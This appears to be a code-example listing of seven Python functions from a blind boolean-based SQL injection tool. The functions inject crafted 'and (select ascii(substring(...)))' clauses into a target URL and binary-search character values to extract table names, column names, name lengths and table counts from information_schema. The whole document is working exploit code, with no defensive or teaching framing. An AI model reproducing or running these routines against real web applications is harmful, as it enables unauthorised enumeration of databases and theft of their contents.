Beispiel #1
0
def getTableName(letter, indexTable, indexChar, inf=47, sup=123):
    indexChar += 1
    while (inf <= sup):
        print(emblemas.loader())
        center = ((sup - inf) / 2) + inf
        query = target + "+and+(select+ascii(substring(table_name," + str(
            indexChar
        ) + ",1))+between+" + str(center) + "+AND+" + str(
            center
        ) + "+from+information_schema.tables+where+table_name+LIKE+'" + letter + "%'" + disableTables + "+limit+" + str(
            indexTable) + ",1)>=1--"
        if (isTrue(query)):
            return chr(center)
        else:
            query = target + "+and+(select+ascii(substring(table_name," + str(
                indexChar
            ) + ",1))+between+" + str(inf) + "+AND+" + str(
                center
            ) + "+from+information_schema.tables+where+table_name+LIKE+'" + letter + "%'" + disableTables + "+limit+" + str(
                indexTable) + ",1)>=1--"
            if (isTrue(query)):
                sup = center - 1
            else:
                inf = center + 1
    er = '_'
    return er
Beispiel #2
0
def getLengthFieldInTable(tableName, indexField, inf=0, sup=1000):
    while (inf <= sup):
        print(emblemas.loader())
        center = ((sup - inf) / 2) + inf
        query = target + "+and+(select+length(column_name)+between+" + str(
            center
        ) + "+AND+" + str(
            center
        ) + "+from+information_schema.columns+where+table_name='" + tableName + "'+limit+" + str(
            indexField) + ",1)>=1--"
        if (isTrue(query)):
            return center
        else:
            query = target + "+and+(select+length(column_name)+between+" + str(
                inf
            ) + "+AND+" + str(
                center
            ) + "+from+information_schema.columns+where+table_name='" + tableName + "'+limit+" + str(
                indexField) + ",1)>=1--"
            if (isTrue(query)):
                sup = center - 1
            else:
                inf = center + 1
    er = 0
    return 0
Beispiel #3
0
def getFieldName(tableName, indexField, indexChar, inf=47, sup=123):
    indexChar += 1
    while (inf <= sup):
        print(emblemas.loader())
        center = ((sup - inf) / 2) + inf
        query = target + "+and+(select+ascii(substring(column_name," + str(
            indexChar
        ) + ",1))+between+" + str(center) + "+AND+" + str(
            center
        ) + "+from+information_schema.columns+where+table_name='" + tableName + "'+limit+" + str(
            indexField) + ",1)>=1--"
        if (isTrue(query)):
            return chr(center)
        else:
            query = target + "+and+(select+ascii(substring(column_name," + str(
                indexChar
            ) + ",1))+between+" + str(inf) + "+AND+" + str(
                center
            ) + "+from+information_schema.columns+where+table_name='" + tableName + "'+limit+" + str(
                indexField) + ",1)>=1--"
            if (isTrue(query)):
                sup = center - 1
            else:
                inf = center + 1
    er = '_'
    return er
Beispiel #4
0
def getRoughNumTables(count=10):
    print(emblemas.loader())
    newTarget = target + "+and+(select+count(table_name)+between+0+AND+" + str(
        count + 10) + "+from+information_schema.tables)>=1--"
    if (isTrue(newTarget)):
        return count
    else:
        count = count + 15
        return getRoughNumTables(count)
Beispiel #5
0
def getLengthTableName(letter, index, length=0):
    print(emblemas.loader())
    newTarget = target + "+and+(select+length(table_name)+from+information_schema.tables+where+table_name+LIKE+'" + letter + "%'" + disableTables + "+limit+" + str(
        index) + ",1)>=" + str(length) + "--"
    if (isTrue(newTarget)):
        length = length + 1
        return getLengthTableName(letter, index, length)
    else:
        return length
Beispiel #6
0
def getNumTablesLetter(letter, count=0):
    print(emblemas.loader())
    total = count
    newTarget = target + "+and+(select+count(table_name)+from+information_schema.tables+where+table_name+LIKE+'" + letter + "%'" + disableTables + ")>=" + str(
        count) + "--"
    if (isTrue(newTarget)):
        count = count + 1
        return getNumTablesLetter(letter, count)
    else:
        return total
Beispiel #7
0
def getNumTables(rough):
    print(emblemas.loader())
    total = rough
    newTarget = target + "+and+(select+count(table_name)+from+information_schema.tables)>=" + str(
        rough) + "--"
    if (isTrue(newTarget)):
        rough = rough + 1
        return getNumTables(rough)
    else:
        return total